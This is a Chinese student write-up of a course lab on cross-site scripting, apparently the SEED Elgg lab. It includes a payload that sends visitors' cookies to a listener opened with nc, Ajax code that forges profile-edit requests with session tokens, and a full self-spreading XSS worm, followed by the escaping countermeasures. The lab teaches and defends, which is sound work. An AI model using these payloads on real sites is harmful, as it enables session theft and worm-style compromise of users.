TJUT-8INF135课程全攻略 实验三

2,490 阅读4分钟

前言

这个实验主要是在介绍XSS攻击,就是利用一些网页的漏洞来进行一些恶意攻击,主要攻击手法为在文本中插入恶意代码,让其他用户在浏览浏览时达到恶意破坏或自传播的效果。

因为现在网页基本都用到了JavaScript,所以你可能需要看一下JavaScript并且对计算机网络知识有一定了解,不然可能做起来有一些压力。

主要攻击原理为,在前端中,JavaScript代码可以被嵌套在html标签中,比如说在网页中有一个让你编辑个人信息的标记框,按理来说我们仅应该在其中填入一些人能够理解的文字,比如说你再输入框中输入'这是我的信息',那么在你提交成功之后,这一部分的html代码就为

<p>
这是我的信息
</p>

这一切都看起来正常,但是如果有人起了坏心思,在这个输入框中输入一些JavaScript代码呢,那可就乱了套了。

比如你在编辑栏中输入了<script>alert('surprise!');</script>,然后这个网站的开发人员还没有对这样的内容做限制(这可是太蠢了),那么最后这一部分的html代码就是这样的

<p>
    <script>
        alert('surprise!');
    </script>
</p>

看出问题了吗,<script>标签是会被直接执行的啊,然后所有来看你信息的人就会弹出一个surprise!的弹窗,你就达到了恶意破坏的效果,当然这只是最低级的,顺着这个思路,你可以插入更多的恶意JavaScript代码,从而达到更多神奇的效果,比如窃取用户的cookie、token之类的。

Task2

顺着上面讲的思路,我们登录Boby的账号,在Brief description中输入<script>alert('XSS');</script>,然后保存,再去查看Boby的个人主页时,就会弹出一个弹窗,上面的内容是'XSS' image-20191218193256265

image-20191218193333394

Task3

同理这次我们把代码改为<script>alert(document.cookie);</script>,保存刷新后,我们再去访问Boby的主页时,我们就会把自己的cookie在弹窗中显示。 image-20191218193851285

image-20191218193935629

Task4

  1. 登录samy,将Brief description修改为<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >'); </script>并保存。

    这里需要注意一下,如果你是在本机模拟,那么上面的IP地址写127.0.0.1,如果你是在另一台虚拟机上模拟,IP地址写另一条虚拟机的IP地址,讲义上这一部分是反的。

    image-20191221155201598

  2. 运行nc -l 5555 -v命令

    image-20191221155342681

  3. 登录alice的账号然后查看samy的主页

    image-20191221160132058

    发现查看samy主页的人会把自己的cookie发送给代码中的地址,这样samy就可以通过获取到的cookie值进行进一步的攻击。

Task5

  1. 修改samy的aboutme为讲义中给好的JavaScript代码,这里记得一定要切换模式

    image-20191221163637827

  2. 登录Alice,查看samy的主页之后可以看到已经成功加为好友了

    image-20191221163747284

    这是因为在现在的网站设计中,加好友这种操作都是采用网络请求实现的,而上述的JavaScript代码正是使用JavaScript中的ajax来发送了网络请求,通过这种方式,让所有访问到samy主页的人都发送一个加samy为好友的请求,从而达到了这种效果。

Task6

  1. 登录Alice的账号,更改一次aboutme,查看aboutme是如何通过网络请求更改的

    image-20191221164654961

    image-20191221165209836

    通过观察可以发现,修改profile的请求请求的是http://www.xsslabelgg.com/action/profile/edit这个url,参数是右边所示那些,所以能够得到如下JS代码

    <script type="text/javascript">
    
    window.onload = function(){ 
        //JavaScript code to access user name, user guid, Time Stamp __elgg_ts 
        //and Security Token __elgg_token 
        var userName=elgg.session.user.name; 
        var guid="&guid="+elgg.session.user.guid; 
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; 
        var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url.
        var content="&description="+"<p>Samy is MY HERO</p>"; //FILL IN 
        var samyGuid=47; //FILL IN 
        if(elgg.session.user.guid!=samyGuid){//Line ①
             var sendurl = "http://www.xsslabelgg.com/action/profile/edit?"+guid+ts+token+content;
             //Create and send Ajax request to modify profile
             var Ajax=null;
             Ajax=new XMLHttpRequest();
             Ajax.open("POST",sendurl,true);
             Ajax.setRequestHeader("Host","www.xsslabelgg.com");
             Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
             Ajax.send(content); 
        }
    } 
    </script>
    
  2. 登录samy修改aboutme并保存

    image-20191221172253524

  3. 保存后登录alice,查看samy的主页,发现aboutme被更改了,被改为了'Samy is MY HERO'

image-20191221172443548

  1. Line①是用来防止攻击者自己的aboutme被更改的,去掉Line①的if语句后,会看到如下效果,攻击者samy自己的aboutme也被更改了

    image-20191221172734691

Task7

这一步的目的是让你编写一个可以自传播的类似于病毒的代码,以达到所有看过samy主页的人也会变成传播者的效果。

经过思考可以得出如下代码

<script id=worm> 
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>"; 
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
window.onload = function(){ 
    //JavaScript code to access user name, user guid, Time Stamp __elgg_ts 
    //and Security Token __elgg_token 
    var userName=elgg.session.user.name; 
    var guid="&guid="+elgg.session.user.guid; 
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; 
    var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url.
    var content="&description="+wormCode; //FILL IN 
    
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit?"+guid+ts+token+content;
    //Create and send Ajax request to modify profile
    var Ajax=null;
    Ajax=new XMLHttpRequest();
    Ajax.open("POST",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content); 
}
</script>
  1. 将该代码插入samy的about me

    image-20191221190311735

  2. 查看samy的主页后,返回Alice自己的主页,发现Alice的about me已经被更改,查看之后可以发现已经被病毒感染

    image-20191221190547317

  3. 登录boby查看Alice的主页后,再查看自己的主页,发现boby的about me也被更改了

    image-20191221190734827

  4. 同样登录charlie查看boby的主页后,发现charlie的about me也被更改了

    image-20191221190922456

Task8

  1. 以admin登录,并把HTMLawed关掉

    image-20191221191313676

  2. 登录Alice,会发现在about me中,把代码输出了出来

    image-20191221191628463

  3. 修改php文件,取消htmlspecialchars的注释

    1. text.php

      image-20191221192845427

    2. url.php

      image-20191221192923042

    3. dropdown.php

      image-20191221192946036

    4. email.php

      image-20191221193155479

  4. 查看Alice的主页,发现与上一步并没有任何表现上的不同,但是实际上,所有的单引号和双引号都是经过转义后显示的。

    image-20191221203735535